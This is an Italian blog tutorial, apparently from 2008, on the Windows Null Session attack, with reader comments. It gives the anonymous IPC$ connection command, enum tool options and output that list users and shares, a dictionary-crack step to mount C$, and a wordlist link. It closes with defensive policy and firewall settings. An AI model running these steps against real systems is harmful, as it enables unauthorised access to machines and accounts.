La Null Session è una sessione che permette di interagire con un sistema Windows senza dover effettuare l’autenticazione. Tramite la Null Session è possibile ottenere informazioni sul sistema, come l’elenco delle condivisioni e l’elenco degli utenti.
Ottenere l’elenco delle condivisioni può permettere un’intrusione semplice. Le condivisioni potrebbero non essere protette da password, nel qual caso si potrebbe accedere a informazioni importanti. Potrebbero anche esserci condivisioni attivate alla scrittura, eventualità che permetterebbe all’hacker di infiltrare un trojan nella cartella dell’esecuzione automatica.
Con l’elenco degli utenti si potrebbe tentare un attacco a dizionario, testando una lista di password contro ogni utente valido.
Infine le informazioni potrebbero essere utilizzate come leva per ottenere la fiducia di un impiegato in un attacco di social-engineering.
Creare la Null Session
Se provassimo a visualizzare le risorse di un computer senza effettuare una Null Session otterremmo un errore di accesso negato:
net view \\127.0.0.1
Per creare una Null Session bisogna utilizzare il comando net use, specificare l’indirizzo del computer, invocare la risorsa IPC$ e fornire credenziali nulle:
C:\Documents and Settings\angelor>net use \\127.0.0.1\IPC$ "" /u:""
Se il computer remoto accetta la Null Session, otterremo questo messaggio eseguendo net use senza parametri:
C:\Documents and Settings\angelor>net use Stato Locale Remota Rete ------------------------------------------------------------------------------- OK \\127.0.0.1\IPC$ Rete di Microsoft Windows Esecuzione comando riuscita.
A questo punto net view visualizzerà l’eventuale lista di risorse (non quelle nascoste però).
Sfruttare la Null Session
Per facilitare l’interazione con la Null Session sono stati creati diversi tools. Alcuni tra questi sono enum, winfo e hunt. Con questi strumenti è possibile ottenere liste di utenti, risorse condivise (anche nascoste) e altre informazioni (come le policy delle password o la versione del sistema operativo) tramite Null Session. Vediamo nel dettaglio.
Sia hunt che winfo sono molto semplici da usare: bisogna invocare il comando da linea di comando specificando l’indirizzo Ip (nel formato preceduto da \\ se si utilizza hunt). Winfo permette di specificare se creare una Null Session prima di tentare il recupero delle informazioni.
Uno strumento a mio parere più potente è enum. Oltre ad avere più opzioni rispetto agli altri due, conesente anche un attacco a dizionario.
Ecco la lista delle opzioni di enum:
usage: enum [switches] [hostname|ip] -U: get userlist -M: get machine list -N: get namelist dump (different from -U|-M) -S: get sharelist -P: get password policy information -G: get group and member list -L: get LSA policy information -D: dictionary crack, needs -u and -f -d: be detailed, applies to -U and -S -c: don't cancel sessions -u: specify username to use (default "") -p: specify password to use (default "") -f: specify dictfile to use (wants -D)
e un esempio con obiettivo Windows XP:
enum -UMNSPGL 192.168.132.128 server: 192.168.132.128 setting up session... success. password policy: min length: none min age: none max age: 42 days lockout threshold: none lockout duration: 30 mins lockout reset: 30 mins opening lsa policy... success. server role: 3 [primary (unknown)] names: netbios: TEST domain: WORKGROUP quota: paged pool limit: 33554432 non paged pool limit: 1048576 min work set size: 65536 max work set size: 251658240 pagefile limit: 0 time limit: 0 trusted domains: indeterminate netlogon done by a PDC server getting namelist (pass 1)... got 4, 0 left: Administrator Guest HelpAssistant SUPPORT_328945a3 getting user list (pass 1, index 0)... success, got 4. Administrator Guest HelpAssistant SUPPORT_328945a3 enumerating shares (pass 1)... got 3 shares, 0 left: IPC$ ADMIN$ C$ getting machine list (pass 1, index 0)... success, got 0. Group: Administrators TEST\Administrator Group: Backup Operators Group: Guests TEST\Guest Group: Network Configuration Operators Group: Power Users Group: Replicator Group: Users NT AUTHORITY\INTERACTIVE NT AUTHORITY\Authenticated Users Group: Utenti desktop remoto Group: HelpServicesGroup TEST\SUPPORT_328945a3 cleaning up... success.
In questo esempio riusciamo ad ottenere la lista delle condivisioni (tutte nascoste in questo caso): IPC$,ADMIN$ e C$ e una lista di utenti, ovvero Administrator,Guest,HelpAssistant e SUPPORT_328945a3.
Utilizzando l’opzione D (dictionary crack, con -u per specificare l’utente e -f per specificare il dizionrio da usare) è possibile ottenere l’accesso e quindi “montare” in locale il disco C$ della macchina da attaccare:
net use H: \\192.168.132.128\C$
Per chi fosse alla ricerca di dizionari da utilizzare in attacchi di questo tipo consiglio questo indirizzo: http://packetstormsecurity.org/Crackers/wordlists/
Come Difendersi
I sistemi operativi Microsoft attualmente diffusi per default non mostrano la lista degli utenti. Per controllare, attivare o disabilitare la Null Session su Xp e Window 2003 è possibile utilizzare l’interfaccia grafica secpol.msc, da invocare da Start -> Esegui (o tasto Windows + R).
Le voci interessate sono le seguenti:
Criteri Local -> Opzioni di protezione
Accesso di rete: non consentire l’enumerazione anonima degli account SAM
Accesso di rete: non consentire l’enumerazione anonima di account e condivisioni SAM
Attivando entrambe le voci gli utenti anonimi (ovvero con credenziali nulle) non saranno in grado di elencare gli utenti e neppure la lista delle risorse condivise, riducendo notevolmente la superficie di attacco per un pirata.
Le porte Tcp/Udp coinvolte in questo attacco sono le seguenti: 135,137,138,139,445. Filtrarle con un personal firewall, perlomeno sull’interfaccia esposta a Internet può mitigare il pericolo e neutralizzare questo tipo d’attacco.
L’attacco Null Session è sicuramente uno dei più antichi attacchi per Windows, nel passato ha fatto molte vittime. Le policy di sicurezza standard delle ultime versioni di Windows (da XP Professional a Vista, Windows 2003 compreso) rendono questo attacco meno diffuso. Ma non è detto che non si trovino configurazioni deboli.
Leggi anche:
Comandare Windows da Remoto con PsExec
PsTools è il nome di una suite di comandi da linea di comando creati da Mark Russinovich. Già attivo e noto da anni come esperto di Windows e animatore del sito Sysinternal nel...Pillolhacking.Net: I Migliori Articoli del 2008
Iniziamo l'anno con la raccolta dei migliori articoli di PillolHacking del 2008. Ripercorriamo l'anno appena concluso tramite l'itinerario hackeresco di PillolHacking. I nuovi...Le 5 Fasi di un Attacco Hacker
Come attacca un hacker? Oltre a strumenti l'hacker adotta procedimenti che possono essere formalizzati. Una procedura classica può essere sintetizzata in 5 punti: la raccolta...


















nov 18, 2008 at 15:59:07
Bravo Angelor!
Chissà chi ti ha dato l’idea di scrivere quest’articolo
Se non ricordo male io non capivo, e non lo so tuttora, come mai non riuscissi a collegarmi ad xp usando un account con password nulla sebbene le politiche sulle password non avessero restrizioni sulla lunghezza.
Tu sai spiegare perchè?
nov 19, 2008 at 11:29:28
Chi lo sa chi mi ha dato l’idea?
Su Xp non si può effettuare un accesso remoto (anche Remote Desktop) senza password: un Xp senza password è più sicuro di un Xp con una password debole!
Cmq mi pare si possa modificare questa policy con secpol.msc.
Vedi anche questo articolo: http://www.delymyth.net/node/9907
nov 19, 2008 at 16:02:03
Mi sa che l’ho trovata quella impostazione!
Ora non ho tempo di fare delle prove, magari stasera ci provo e poi scrivo i dettagli.
Grazie.
nov 19, 2008 at 21:44:37
Allora, ho fatto dei test, tutti su windows xp professional.
La null session su ipc$ viene accettata, ma il comando net view restituisce l’errore:
“Errore di sistema 5. Accesso negato.”.
Angelor, dal tuo articolo sembra che se la null session viene stabilita, di conseguenza funzioni anche il comando net view, e questo mi sembra sbagliato. O si specifica il target (su windows 2000 infatti penso che così funzioni perchè ha delle impostazioni di sicurezza più blande) oppure non si può ritenere valida la spiegazione così come l’hai scritta.
A quel punto nemmeno enum riesce a farci nulla, e restituisce l’errore:
“fatal: nothing to do!”.
Sono pignolo a riguardo perchè internet è pieno di guide senza dettagli, che proprio per questo motivo si trasformano in guide inutili. Anzi, diventano spazzatura, perchè oltre a non essere valide, forniscono informazioni fuorvianti.
L’articolo è tuo e lo gestisci tu, ma gradirei molto che apprezzassi le mie critiche e modificassi il tuo post per arrivare ad avere su PH una guida finalmente ben fatta e valida!
Non sei d’accordo?!
Vado avanti perchè nei commenti ho anche introdotto l’impossibilità di connettersi ad xp con un account con password vuota.
E’ un caso senza dubbio interessante per via della grande diffusione dell’account Administrator con password nulla.
Tu hai parlato di una modifica a questa politica, ed infatti ho trovato la voce da modificare per permettere l’accesso remoto tramite account con password nulla.
I passaggi sono questi:
avviare secpol.msc
portarsi in criteri locali > opzioni di protezione
disabilitare la voce “Account: limitare l’uso locale di account con password vuote all’accesso alla console”.
Questa voce, abilitata di default, è quindi la causa della maggior sicurezza, su xp, di un account senza password rispetto ad uno con password semplice.
Ciao!
nov 20, 2008 at 00:00:51
In realtà a me pare che la Null Session non sia così oscura: se riesci a stabilire una connessione con IPC$ (null sesssion), puoi ottenere anche delle informazioni (utenti, condivisioni) se le policy lo prevedono, altrimenti no.
Altri problemi, password nulle, modelli di autenticazione sul file sharing esulano dall’argomento della Null Session.
Ciao
nov 20, 2008 at 10:45:00
Quindi se net view non restituisce informazioni dopo lo stabilimento della null session è tutto un discorso di policy… beh a quanto pare in xp hanno ristretto parecchio questa possibilità, meglio così!
Ciao e buona giornata.
nov 20, 2008 at 16:34:50
L’errore “fatal: nothing to do!”. enum lo mostra se ometti le opzioni o se le metti dopo l’ip. Se non riesce a stabilire una null session o se non riesce recuperare informazioni mostra il codice errore 5 (accesso negato).
Da XP Pro in su le impostazioni di default sono restrittive e non consentono la visualizzazione di utenti.
Ciao